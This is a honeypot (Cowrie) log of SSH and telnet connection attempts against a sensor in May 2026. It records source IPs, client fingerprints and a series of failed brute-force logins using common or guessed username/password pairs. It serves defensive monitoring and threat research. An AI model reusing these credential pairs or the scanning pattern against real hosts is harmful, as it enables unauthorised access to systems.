{"eventid":"cowrie.session.connect","src_ip":"186.233.118.22","src_port":56188,"dst_ip":"159.203.135.109","dst_port":22,"session":"f3a47c52e034","protocol":"ssh","message":"New connection: 186.233.118.22:56188 (159.203.135.109:22) [session: f3a47c52e034]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:22:37.297756Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:22:37.303341Z","src_ip":"186.233.118.22","session":"f3a47c52e034","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:22:37.422810Z","src_ip":"186.233.118.22","session":"f3a47c52e034","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"yw","password":"yw@123","message":"login attempt [yw/yw@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:22:37.929080Z","src_ip":"186.233.118.22","session":"f3a47c52e034","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:22:39.051643Z","src_ip":"186.233.118.22","session":"f3a47c52e034","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.165.238.2","src_port":45714,"dst_ip":"10.17.0.5","dst_port":22,"session":"71670e1074f5","protocol":"ssh","message":"New connection: 45.165.238.2:45714 (10.17.0.5:22) [session: 71670e1074f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:23:00.699493Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:23:00.704958Z","src_ip":"45.165.238.2","session":"71670e1074f5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:23:01.159179Z","src_ip":"45.165.238.2","session":"71670e1074f5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo2","password":"odoo2","message":"login attempt [odoo2/odoo2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:23:01.712231Z","src_ip":"45.165.238.2","session":"71670e1074f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:23:02.846717Z","src_ip":"45.165.238.2","session":"71670e1074f5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"180.243.191.141","src_port":9784,"dst_ip":"10.17.0.5","dst_port":22,"session":"e288040ac27a","protocol":"ssh","message":"New connection: 180.243.191.141:9784 (10.17.0.5:22) [session: e288040ac27a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:23:09.550782Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:23:09.585740Z","src_ip":"180.243.191.141","session":"e288040ac27a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:23:09.851217Z","src_ip":"180.243.191.141","session":"e288040ac27a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"changeme123","message":"login attempt [user/changeme123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:23:10.929666Z","src_ip":"180.243.191.141","session":"e288040ac27a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:23:12.207030Z","src_ip":"180.243.191.141","session":"e288040ac27a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":35568,"dst_ip":"159.203.135.109","dst_port":22,"session":"50b85a7bb278","protocol":"ssh","message":"New connection: 80.66.85.226:35568 (159.203.135.109:22) [session: 50b85a7bb278]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:23:44.876736Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:23:44.883139Z","src_ip":"80.66.85.226","session":"50b85a7bb278","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:23:44.978076Z","src_ip":"80.66.85.226","session":"50b85a7bb278","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"medvedeva","message":"login attempt [root/medvedeva] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:23:45.270112Z","src_ip":"80.66.85.226","session":"50b85a7bb278","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.244.141.86","src_port":48468,"dst_ip":"10.17.0.5","dst_port":22,"session":"cc2fd398eae0","protocol":"ssh","message":"New connection: 171.244.141.86:48468 (10.17.0.5:22) [session: cc2fd398eae0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:23:45.461591Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:23:45.467514Z","src_ip":"171.244.141.86","session":"cc2fd398eae0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:23:45.767995Z","src_ip":"171.244.141.86","session":"cc2fd398eae0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.246.14.196","src_port":52234,"dst_ip":"159.203.135.109","dst_port":22,"session":"df98623297b7","protocol":"ssh","message":"New connection: 186.246.14.196:52234 (159.203.135.109:22) [session: df98623297b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:23:46.083747Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:23:46.089161Z","src_ip":"186.246.14.196","session":"df98623297b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:23:46.265313Z","src_ip":"186.246.14.196","session":"df98623297b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:23:46.365934Z","src_ip":"80.66.85.226","session":"50b85a7bb278","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"A123456.","message":"login attempt [root/A123456.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:23:46.766244Z","src_ip":"171.244.141.86","session":"cc2fd398eae0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"ved","message":"login attempt [dev/ved] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:23:46.990603Z","src_ip":"186.246.14.196","session":"df98623297b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:23:48.015480Z","src_ip":"171.244.141.86","session":"cc2fd398eae0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:23:48.167021Z","src_ip":"186.246.14.196","session":"df98623297b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.63.178","src_port":55868,"dst_ip":"10.17.0.5","dst_port":22,"session":"0a9434ee9b9b","protocol":"ssh","message":"New connection: 62.133.63.178:55868 (10.17.0.5:22) [session: 0a9434ee9b9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:23:56.851698Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:23:56.857155Z","src_ip":"62.133.63.178","session":"0a9434ee9b9b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:23:56.980698Z","src_ip":"62.133.63.178","session":"0a9434ee9b9b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00181579589844,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:23:57.151338Z","src_ip":"186.55.200.230","session":"0ba290f5946a","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"fdfyufhl","message":"login attempt [root/fdfyufhl] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:23:57.348546Z","src_ip":"62.133.63.178","session":"0a9434ee9b9b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00152802467346,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:23:57.590931Z","src_ip":"186.55.200.230","session":"2ebbf0b87a9b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.55.200.230","src_port":48940,"dst_ip":"159.203.135.109","dst_port":23,"session":"70a9fd2428a6","protocol":"telnet","message":"New connection: 186.55.200.230:48940 (159.203.135.109:23) [session: 70a9fd2428a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:23:57.896107Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:23:58.472730Z","src_ip":"62.133.63.178","session":"0a9434ee9b9b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00347256660461,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:24:00.716360Z","src_ip":"186.55.200.230","session":"13b7f8c5dcf8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00331521034241,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:24:02.771026Z","src_ip":"186.55.200.230","session":"84ff648aa33e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.55.200.230","src_port":48992,"dst_ip":"159.203.135.109","dst_port":23,"session":"f9222dafd065","protocol":"telnet","message":"New connection: 186.55.200.230:48992 (159.203.135.109:23) [session: f9222dafd065]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:24:03.077139Z"}
{"eventid":"cowrie.session.connect","src_ip":"89.190.156.8","src_port":56616,"dst_ip":"10.17.0.5","dst_port":22,"session":"ed05beb7760a","protocol":"ssh","message":"New connection: 89.190.156.8:56616 (10.17.0.5:22) [session: ed05beb7760a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:24:17.348652Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:24:17.353811Z","src_ip":"89.190.156.8","session":"ed05beb7760a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:24:17.435753Z","src_ip":"89.190.156.8","session":"ed05beb7760a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"systemd","password":"Voidsetdownload.so","message":"login attempt [systemd/Voidsetdownload.so] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:24:17.792109Z","src_ip":"89.190.156.8","session":"ed05beb7760a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:24:18.881248Z","src_ip":"89.190.156.8","session":"ed05beb7760a","protocol":"ssh"}
